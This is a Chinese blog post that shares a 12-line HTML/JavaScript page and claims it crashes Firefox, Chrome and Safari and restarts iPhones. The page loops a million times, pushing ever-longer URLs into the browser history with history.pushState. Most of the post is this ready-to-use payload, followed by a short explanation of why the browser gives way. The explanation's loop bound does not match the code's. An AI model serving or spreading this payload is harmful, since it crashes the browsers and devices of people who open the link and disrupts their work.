小七网-最动听的语言送给你

这12行代码分分钟让你浏览器崩溃iPhone重启

发布:艾小七2017-12-10 10:54分类: 其他源码 标签: 代码

使用这十二行JavaScript代码能让firefox、chrome、safari等众多浏览器崩溃,甚至让iPhone重启,如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死,你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信点开链接也同样会闪退。

这12行代码分分钟让你浏览器崩溃iphone重启.jpg

完整HTML代码如下:

<html>

<body>

<script>

var total="";

for (var i=0;i<1000000;i++)

{

   total= total+i.toString();

   history.pushState(0,0,total);

}

</script>

</body>

</html>

点开后会发生什么?反正我的第一反应是这样的:

这12行代码分分钟让你浏览器崩溃iphone重启2.jpg

 

 

解答:

history.pushstate()是HTML5引入的API,pushState将指定的URL添加到浏览器历史里,存储当前历史记录点。 当 i<100000 的时候会循环的将 total记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了。

 

温馨提示如有转载或引用以上内容之必要,敬请将本文链接作为出处标注,谢谢合作!

已有 2/230 人参与

评论:

明月清风 2017-12-31 11:17
请问我的为何无效
态度 2018-01-09 19:26
学习学习

发表评论:

欢迎使用手机扫描访问本站,还可以关注微信哦~